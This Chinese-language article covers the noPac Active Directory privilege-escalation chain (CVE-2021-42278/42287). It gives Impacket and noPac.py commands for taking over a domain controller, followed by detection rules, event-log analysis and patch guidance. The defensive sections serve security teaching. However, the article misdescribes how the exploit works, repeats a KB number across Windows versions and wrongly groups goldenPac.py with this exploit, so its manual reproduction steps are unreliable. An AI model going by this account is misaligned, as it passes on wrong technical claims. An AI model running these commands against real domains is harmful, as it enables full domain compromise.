CVE-2021-42278/42287漏洞解析:Kerberos协议逻辑缺陷与域控权限提升实战

发布时间:2026/7/27 5:12:45
CVE-2021-42278/42287漏洞解析:Kerberos协议逻辑缺陷与域控权限提升实战 1. 项目概述从两个CVE编号说起如果你在2021年底到2022年初关注过企业内网安全尤其是基于Windows域环境的攻防那么CVE-2021-42278和CVE-2021-42287这对“黄金搭档”绝对是你绕不开的话题。它们不是孤立的两个漏洞而是一个组合攻击链官方称之为“SAM账户名欺骗漏洞”和“Kerberos协议特权提升漏洞”。简单来说攻击者可以利用这两个漏洞在无需任何凭据的情况下将一个普通的域用户权限提升至域管理员从而完全控制整个Active Directory域。这个漏洞的影响范围极广几乎所有未及时打补丁的Windows Server域控制器都暴露在风险之下其危害性直接对标当年震动了整个安全界的“永恒之蓝”。我之所以花时间深入研究并复现它是因为在真实的红队评估和内部渗透测试中它依然是绕过现有防御、快速获取域控权限的“利器”。理解它不仅能帮助安全人员构建有效的检测与防御策略更能让系统管理员深刻认识到及时修补和强化域配置的重要性。本文将带你从漏洞原理、环境搭建、手工复现到日志分析与实战防御完整走一遍这个经典的攻击链。2. 漏洞原理深度拆解Kerberos协议的两处“裂缝”要理解这两个漏洞我们必须先回到Kerberos这个古老的认证协议本身。Kerberos是Windows域环境身份认证的基石其核心是票据Ticket。当你用域账户登录一台电脑时你的电脑会向域控制器DC的密钥分发中心KDC请求一张票证授予票证TGT然后用这张TGT去申请访问具体服务比如文件共享的服务票证ST。整个过程依赖于对账户名的严格匹配和PAC特权属性证书的校验。2.1 CVE-2021-42278SAM账户名的“分身术”在Active Directory中每个账户有两个重要的名称属性sAMAccountName例如zhangsan和userPrincipalName例如zhangsancontoso.com。此外计算机账户的sAMAccountName会以$结尾比如DC01$。CVE-2021-42278的根源在于当域控制器在处理Kerberos认证请求时如果请求的sAMAccountName在域中不存在它会尝试在其末尾自动添加一个$符号然后将其视为计算机账户再次进行查找。这个机制本意可能是为了处理一些边缘情况但它留下了一个致命的逻辑缺陷攻击者可以创建一个sAMAccountName与域控计算机账户名去掉$相同的普通用户账户。例如域控的计算机账户是DC01$。攻击者可以创建一个名为DC01的普通用户。当攻击者以这个伪造的用户DC01去请求TGT时由于域中没有DC01这个用户KDC会将其视为DC01$这个计算机账户来处理并为其签发一张TGT。关键在于这张TGT的PAC里包含的仍然是原始伪造用户DC01的SID一个低权限用户SID但KDC却错误地将其与高权限的计算机账户DC01$关联了起来。这就为后续的权限提升埋下了伏笔。注意创建这样的账户通常需要一定的权限比如一个普通的域用户可能无法创建。但在实际渗透中通过其他手段如ACL滥用、组策略偏好漏洞等获得一个可以创建用户的账户是常见的前置条件。2.2 CVE-2021-42287PAC校验的“失明症”第一个漏洞让我们获得了一张“身份混淆”的TGT。但光有这张TGT还不够因为当我们用它去申请访问某个高权限服务比如域控的CIFS服务的ST时KDC在签发ST前会要求TGS票证授予服务去验证TGT中PAC的签名。PAC的签名是由KDC的密钥即KRBTGT账户的哈希生成的理论上无法伪造。CVE-2021-42287就出在这个验证环节。当KDC在处理一个sAMAccountName末尾没有$的计算机账户的ST请求时它存在一个代码路径会错误地跳过对PAC签名的验证。是的直接跳过了。现在把两个漏洞串联起来利用42278攻击者创建伪造用户DC01并以其身份获取一张TGT。这张TGT的PAC是低权限用户的但被KDC关联到了DC01$计算机账户。利用42287攻击者使用这张TGT去请求访问域控上某个服务如cifs/DC01.contoso.com的ST。由于请求的账户名是DC01无$触发了42287漏洞KDC在签发ST时没有验证PAC签名。结果攻击者拿到了一张访问域控服务的ST而这张ST所基于的PAC低权限用户并未经过校验。更严重的是当服务端域控收到这张ST并解密后它会用ST中的信息其中包含被关联的计算机账户SID来构建访问令牌。由于计算机账户通常是域管理员组等高级权限组的成员攻击者最终获得了域管理员级别的访问权限。这个组合漏洞的精妙之处在于它完全在Kerberos协议流程内部完成不涉及暴力破解、不依赖弱密码是一种逻辑漏洞的完美利用。3. 实验环境搭建与前期准备在开始复现之前一个隔离、安全的实验环境是必须的。我推荐使用虚拟机搭建一个简单的域环境。3.1 实验环境配置域控制器 (DC): Windows Server 2019 (未安装2021年11月及之后的补丁)。主机名DC01。域名lab.local。攻击机: Kali Linux 2023.x 或 Windows 10/11 并安装必要的安全工具如 Impacket, Mimikatz。需要能与DC网络互通。域内普通成员服务器/客户端: Windows 10 或 Server 2016/2019已加入 lab.local 域。用于模拟攻击起点。关键点确保域控制器是漏洞版本。可以通过检查系统是否安装了KB5008602、KB50083802021年11月或更晚的补丁。在DC上运行systeminfo查看补丁列表或直接尝试复现未打补丁的环境才会成功。3.2 工具集准备我们主要使用Python的Impacket套件它完美封装了Kerberos协议和攻击流程。# 在Kali或配置了Python的Windows攻击机上安装Impacket pip install impacket # 或者从GitHub克隆最新版推荐功能更全 git clone https://github.com/fortra/impacket.git cd impacket pip install .我们需要的核心脚本是addcomputer.py: 用于向域内添加计算机账户在利用链中可能用于创建特定账户。getTGT.py: 请求指定用户的TGT。getST.py: 使用TGT请求指定服务的ST。goldenPac.py或noPac.py: 自动化利用脚本。但为了理解原理我们更推荐手工分步复现。此外还需要PowerShell或RSAT (Remote Server Administration Tools): 用于在域内执行查询和管理操作。Wireshark: 用于抓包分析Kerberos流量加深理解。4. 手工分步复现攻击链我们假设攻击者已经获得了一个普通域用户lab\user1的凭据密码或哈希。这是复现的起点。4.1 第一步信息搜集与伪造账户创建首先我们需要知道域控的计算机账户名。这很容易。# 在域内任意主机上以域用户身份打开PowerShell PS C:\ nltest /dclist:lab # 或者使用更强大的PowerShell AD模块 PS C:\ Get-ADDomainController -DomainName lab.local | Select-Object Hostname假设我们得知域控为DC01那么其计算机账户就是DC01$。接下来我们需要创建一个sAMAccountName为DC01的普通用户。使用net user命令或PowerShell。但默认情况下普通用户可能无权创建账户。在实验中我们可以暂时使用一个具有账户创建权限的账户如域管理员或者先利用其他漏洞如基于资源的约束委派滥用获得一个有权创建计算机账户的凭据。这里为了演示假设我们已有足够权限。使用Impacket的addcomputer.py创建计算机账户这是一种方式但注意它创建的是带$的账户# 这不是我们最终要的但有时作为前置步骤 python addcomputer.py -computer-name FAKECOMP$ -dc-ip 192.168.1.10 lab.local/user1:Password123更直接的方式是如果我们有域管理员权限直接创建用户DC01# 在域控或已安装RSAT的机器上以域管理员运行 New-ADUser -Name DC01 -SamAccountName DC01 -UserPrincipalName DC01lab.local -AccountPassword (ConvertTo-SecureString FakePass123! -AsPlainText -Force) -Enabled $true实操心得在实际渗透中获得一个能够创建用户的权限往往是第一步。这可能通过钓鱼、密码喷洒、利用MS14-068另一个Kerberos漏洞或配置错误如普通用户被误添加到Account Operators组来实现。复现时我们简化了这一步但心里要清楚它在真实攻击链中的位置。4.2 第二步请求伪造用户的TGT触发42278现在我们以刚刚创建的伪造用户DC01的身份向KDC请求TGT。这里我们使用Impacket的getTGT.py。# 在攻击机Kali上执行 python getTGT.py -dc-ip 192.168.1.10 lab.local/DC01:FakePass123!执行成功后会在当前目录生成一个名为DC01.ccache的凭据缓存文件。这个文件里就存储了TGT。关键点来了此时由于漏洞CVE-2021-42278KDC实际上是把DC01当成了DC01$计算机账户来签发TGT的但TGT中的PAC数据仍然是DC01这个低权限用户的信息。我们可以用klist或 Impacket 的ticketConverter来查看这张TGT但更直观的方法是看下一步。4.3 第三步请求高权限服务ST触发42287现在我们拿着这张“问题TGT”DC01.ccache去请求访问域控DC01上某个高权限服务如CIFS或HOST的服务票证。这里我们使用getST.py并指定使用刚才的ccache文件。# 设置环境变量指定使用ccache文件 export KRB5CCNAME/path/to/DC01.ccache # 请求访问DC01的CIFS服务的ST python getST.py -k -no-pass -dc-ip 192.168.1.10 -spn cifs/DC01.lab.local lab.local/DC01参数解释-k: 使用Kerberos认证而非密码。-no-pass: 不使用密码依赖ccache中的TGT。-spn: 指定服务主体名称我们目标是域控的文件共享服务。奇迹漏洞发生了命令成功执行并生成了一个新的ccache文件默认以administrator.ccache形式保存。Impacket会提示我们这张ST是用于DC01$的这正是因为漏洞CVE-2021-42287被触发KDC跳过了PAC验证并基于之前错误的关联为DC01$计算机账户签发了ST。4.4 第四步票据传递与权限验证现在我们有了针对cifs/DC01.lab.local的服务票证并且这张票证关联的是DC01$计算机账户的权限。我们可以使用这张票证通过SMB协议访问域控的C$共享。# 使用获得的ST通过smbclient.py访问域控 python smbclient.py -k -no-pass -dc-ip 192.168.1.10 lab.local/DC01DC01.lab.local如果漏洞利用成功你将无需输入密码直接获得一个SMB命令行交互会话并且拥有极高的权限因为DC01$是域控机器账户通常属于Domain Admins等组。你可以尝试列出C:\目录甚至写入文件。# 在smbclient会话中 smb: \ ls C:\ smb: \ put /path/to/local/file.txt C:\Windows\Temp\至此我们完成了从普通域用户到域控管理员权限的完整提升。整个过程没有触发任何爆破警报全部在正常的Kerberos协议交互中完成。5. 自动化工具利用与对比手工复现有助于理解原理但在实战中我们更倾向于使用自动化工具。针对这个漏洞链最著名的工具是noPac.py最初由研究员cube0x0发布和 Impacket 后续整合的goldenPac.py变种。5.1 使用 noPac.py 一键利用noPac.py将整个流程自动化创建用户、请求TGT、请求ST、清理用户、执行命令。python noPac.py -dc-ip 192.168.1.10 lab.local/user1:Password123 -dc-host DC01.lab.local -shell --impersonate administrator -spn cifs/DC01.lab.local参数说明-dc-ip: 域控制器IP。-dc-host: 域控制器主机名。-shell: 尝试返回一个shell。-impersonate: 指定要冒充的用户这里是administrator但实际利用的是机器账户权限。-spn: 目标服务。自动化工具的利弊优点速度快一键完成自动清理痕迹删除创建的临时用户。缺点黑盒化不利于理解底层细节某些步骤失败时调试困难在高度监控的环境中其固定的行为模式可能更容易被检测。5.2 与手工复现的对比手工复现就像手动挡汽车你能清晰感知每一个换挡协议交互环节适合学习、调试和定制化攻击例如在特定的网络策略下调整SPN。自动化工具则是自动挡追求效率和便捷。对于安全研究人员和高级渗透测试人员掌握手工方法是必须的对于快速评估自动化工具是首选。注意事项无论手工还是自动在真实环境中测试前务必获得书面授权。未经授权的测试是违法行为。6. 攻击痕迹与日志分析一个优秀的攻击者会隐藏自己一个优秀的安全人员则要能发现他们。我们来看看这次攻击在域控制器上留下了哪些蛛丝马迹。6.1 Windows事件日志关键ID你需要开启并关注以下事件日志位置事件查看器 - Windows日志 - 安全账户创建 (4720): 如果攻击者创建了伪造的DC01用户会生成此事件。字段SubjectUserName是创建者TargetUserName是新建的账户DC01。这是一个强信号尤其是在短时间内创建与已知计算机账户同名的用户。Kerberos服务票证请求 (4769): 这是最重要的日志之一。当攻击者请求cifs/DC01的ST时会记录此事件。关键字段ServiceName: 应为cifs/DC01$或类似的高价值服务。ClientAddress: 攻击源的IP地址。TicketOptions: 关注0x40810000等值但更重要的是与ServiceName结合。最关键的检测点比较Account Name客户端账户名和Service Name中的账户部分。在正常情况下的“Kerberos约束委派”或“基于资源的约束委派”场景中一个用户账户请求计算机账户服务的ST是可疑的。而在本漏洞利用中Account Name显示为DC01我们伪造的用户Service Name显示为cifs/DC01$这构成了sAMAccountName与sAMAccountName$的对应关系是极不寻常且高风险的组合。Kerberos认证票证请求 (4768): 攻击者请求TGT时生成。Account Name为DC01。单独看此事件噪音较大需与4769关联。账户删除 (4726): 如果攻击者使用了noPac.py等工具并启用了清理功能在利用结束后会删除伪造的DC01用户产生此事件。“快速创建又删除”是典型的攻击特征。特殊登录 (4672): 当使用获得的ST成功访问域控并获取高权限令牌时可能产生此事件表明特权账户DC01$被用于登录。6.2 构建检测规则SIEM场景在SIEM如Splunk, Elastic SIEM中可以构建关联规则规则名称疑似CVE-2021-42278/42287利用尝试 触发条件 1. 安全事件ID 4720 (账户创建) 且 TargetUserName 以已知的域控计算机账户名不含$命名。 OR 2. 安全事件ID 4769 (服务票证请求) 且满足 a. ServiceName 包含高价值服务如 cifs, host, ldap 等且指向域控。 b. 提取 AccountName 字段客户端和 ServiceName 中的账户名部分。 c. 满足AccountName $ ServiceName账户部分。 例如AccountNameDC01, ServiceNamecifs/DC01$LAB.LOCAL 3. 可选在短时间内如5分钟序列发生 4768(TGT请求) - 4769(ST请求) - 4726(账户删除)。6.3 网络流量特征分析使用Wireshark抓取Kerberos流量端口88过滤kerberosAS-REQ/AS-REP: 对应TGT请求。观察cname字段在漏洞利用中会是DC01。TGS-REQ/TGS-REP: 对应ST请求。观察sname字段会是cifs/DC01$LAB.LOCAL。关键是在TGS-REQ的PA-DATA中padata-type为PA-PAC-REQUEST且其include-pac标志为True。漏洞利用过程中这个PAC是未经验证的。检测思路网络IDS/IPS可以尝试检测在单个会话中客户端先后请求了krbtgt/LAB.LOCALTGT和cifs/DC01$LAB.LOCALST且客户端主体名存在sAMAccountName与sAMAccountName$的近似匹配关系。这需要深度解析Kerberos协议字段对设备要求较高。7. 全面防御与缓解措施了解了攻击原理和痕迹防御就有的放矢了。防御分为三个层面根本性修补、主动加固和持续监控。7.1 根本措施安装官方补丁这是最有效、最根本的方法。微软在2021年11月9日的补丁日中修复了这两个漏洞。CVE-2021-42278: 修复于KB5008602(Windows Server 2012 R2),KB5008601(Windows Server 2016),KB5008602(Windows Server 2019),KB5008603(Windows Server 2022)。补丁移除了KDC在查找账户时自动添加$的后备逻辑。CVE-2021-42287: 修复于KB5008380(身份验证更新)。补丁确保了在任何情况下KDC都不会跳过对PAC签名的验证。操作建议立即为所有域控制器安装上述补丁。安装后需要重启。建立严格的补丁管理制度确保安全更新在测试后能及时应用于生产环境。使用systeminfo或Get-HotFix命令定期核查补丁状态。7.2 主动加固安全配置调整即使打了补丁以下加固措施也能提高域环境整体的安全性。限制账户创建权限严格遵循最小权限原则。确保只有受信任的管理员账户如Domain Admins或专门的服务账户在严格管控下拥有在域内创建用户/计算机账户的权限。定期审计Account Operators等内置组的成员。启用“审核Kerberos服务票证操作”默认情况下4769事件可能未记录所有细节。需要启用高级审核策略。路径组策略管理 - 域控制器策略 - 计算机配置 - 策略 - Windows 设置 - 安全设置 - 高级审核策略配置 - 账户登录 - 审核 Kerberos 服务票证操作 - 配置为“成功”和“失败”。这能确保4769事件包含完整的ServiceName信息便于检测。实施“允许的计算机账户名”限制如果适用这是一个较为苛刻的措施。可以通过组策略限制计算机账户的命名规范但这可能影响某些自动化部署流程需谨慎评估。部署LAPS本地管理员密码解决方案虽然不直接防御此漏洞但可以防止攻击者在获取一台普通成员服务器权限后利用本地管理员密码横向移动到其他主机从而增加其获取足够权限以创建伪造账户的难度。7.3 持续监控与威胁狩猎防御不是一劳永逸的持续的监控至关重要。部署SIEM并配置前述检测规则将域控制器的事件日志集中收集到SIEM平台并部署第6.2节中描述的关联规则。这是检测此类攻击最有效的手段之一。定期进行威胁狩猎主动搜索环境中是否存在与域控计算机账户同名的用户账户。# PowerShell 命令查找所有sAMAccountName与已知域控计算机账户名去掉$相同的用户 $DomainControllers Get-ADDomainController -Filter * | Select-Object -ExpandProperty Hostname foreach ($dc in $DomainControllers) { $computerNameWithoutDollar $dc.TrimEnd($) Get-ADUser -Filter {SamAccountName -eq $computerNameWithoutDollar} -Properties SamAccountName }监控异常的服务票证请求关注来自非域控、非服务账户的主机对域控高价值服务CIFS, LDAP, HOST, RPCSS等的频繁票证请求。使用高级安全解决方案考虑部署具备UEBA用户实体行为分析功能的EDR或终端安全平台它们可以通过机器学习基线学习正常用户的Kerberos请求模式从而识别出像DC01用户请求DC01$服务票证这类异常行为。8. 常见问题与排查技巧实录在复现和研究过程中我遇到了不少坑这里分享出来希望能帮你节省时间。Q1: 复现时在getST.py步骤总是失败提示“KDC_ERR_PREAUTH_FAILED”或“KDC_ERR_C_PRINCIPAL_UNKNOWN”。A1: 这通常有几个原因补丁已安装首先确认域控制器确实没有安装2021年11月的安全更新。这是最常见的原因。账户状态问题确保你创建的伪造用户DC01账户是启用的Enabled并且密码正确。SPN格式错误确保-spn参数指定正确。对于域控的CIFS服务通常是cifs/DC01.lab.local或cifs/DC01。可以尝试使用host/DC01.lab.local或ldap/DC01.lab.local。时间不同步Kerberos对时间同步非常敏感。确保攻击机和域控制器的时间偏差在5分钟以内。DNS解析问题确保攻击机能正确解析lab.local和DC01.lab.local到域控制器的IP。最好在攻击机的/etc/hosts或C:\Windows\System32\drivers\etc\hosts文件中添加静态映射。Q2: 使用noPac.py时工具运行后没有返回shell或者很快就退出了。A2:检查是否有杀毒软件或EDR拦截了工具进程或网络连接。尝试在测试环境中暂时禁用实时防护。使用-debug参数运行noPac.py查看详细的错误输出。可能是清理步骤太快。有些版本的noPac.py在请求到ST后会立即删除临时创建的账户然后才尝试连接。如果网络或服务响应慢可能导致连接时账户已不存在。可以尝试修改工具源码注释掉删除账户的步骤或者使用--no-cleanup参数如果支持。尝试分步手工复现定位具体在哪一步失败。Q3: 在SIEM中如何高效地从海量的4769事件中筛选出可疑记录A3: 除了之前提到的关联规则可以优先关注以下特征进行初步筛选服务名价值优先筛选ServiceName包含cifs/,host/,ldap/,DNS/且指向已知域控主机名的事件。客户端异常筛选Account Name不是计算机账户不以$结尾也不是已知的服务账户却去请求高价值服务的事件。频率异常单个客户端账户在短时间内如1分钟对同一高价值服务发起多次票证请求可能是工具重试或攻击尝试。结合4768将4769与之前的4768事件同一客户端进行会话关联观察其TGT请求和ST请求的完整链条。Q4: 打了补丁就绝对安全了吗A4:不是。补丁修复了这两个特定的漏洞但Kerberos协议和Active Directory的复杂性决定了攻击面依然存在。例如Kerberos委派滥用约束委派、基于资源的约束委派配置不当仍可导致权限提升。ACL滥用Active Directory对象上过松的访问控制列表允许普通用户修改其他用户属性、加入高权限组等。NTLM Relay在特定网络条件下仍然可能发生。黄金票据/白银票据如果KRBTGT或服务账户的哈希被窃取攻击者可以伪造任意票据。 因此打补丁是基础结合强身份认证如取消NTLM、推行LAPS、最小权限原则和持续监控才能构建纵深防御体系。理解CVE-2021-42278/42287不仅仅是掌握了一个漏洞的利用方法更是深入理解Windows域认证安全的一个绝佳切入点。它清晰地展示了协议设计中的逻辑缺陷如何被组合成致命的攻击链。对于防御方而言它强调了补丁管理、权限控制和安全监控三者缺一不可。在实战中我倾向于在获得初始立足点后优先检查补丁情况如果发现目标域控未修复此漏洞它往往是最快、最稳定的通往域控的路径之一。同时作为监控方我已经将sAMAccountName与高价值服务SPN的不匹配检测写入了我们SOC的常态化威胁狩猎剧本中多次帮助客户发现了潜伏的攻击行为。安全攻防的本质是知识与实践的不断迭代希望这篇深度分析能成为你知识库中坚实的一块拼图。